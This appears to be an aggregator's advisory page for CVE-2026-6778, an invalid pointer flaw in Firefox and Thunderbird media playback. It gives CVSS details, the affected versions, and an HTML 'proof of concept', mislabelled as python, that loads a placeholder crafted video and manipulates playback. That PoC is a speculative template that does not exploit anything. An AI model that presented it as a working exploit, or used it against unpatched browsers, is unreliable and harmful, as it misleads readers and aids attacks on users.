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CVE-2026-6778 CVSS 5.3 MEDIUM

CVE-2026-6778

Published: 2026-04-21 13:16:24
Last Modified: 2026-04-22 16:05:45

Description

Invalid pointer in the Audio/Video: Playback component. This vulnerability was fixed in Firefox 150 and Thunderbird 150.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:mozilla:thunderbird:*:*:*:*:-:*:*:* - VULNERABLE
Firefox < 150
Thunderbird < 150

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- // PoC Concept for CVE-2026-6778 // Description: This HTML file attempts to trigger the invalid pointer vulnerability // in the Audio/Video component of Firefox < 150 by loading a crafted media file. --> <!DOCTYPE html> <html> <head> <title>CVE-2026-6778 PoC</title> </head> <body> <h1>Testing CVE-2026-6778</h1> <!-- Replace 'exploit.mp4' with a specifically crafted file causing the invalid pointer --> <video id="vulnVideo" controls> <source src="exploit.mp4" type="video/mp4"> Your browser does not support the video tag. </video> <script> const video = document.getElementById('vulnVideo'); // Attempt to stress the parser to trigger the invalid pointer video.play().catch(e => console.log('Autoplay blocked')); video.addEventListener('loadeddata', () => { console.log('Media data loaded, triggering manipulation...'); // Rapid playback manipulation may help trigger the race condition video.playbackRate = 16.0; video.currentTime = video.duration - 0.1; }); video.addEventListener('error', (e) => { console.log('Error event triggered:', e); }); </script> </body> </html>

References

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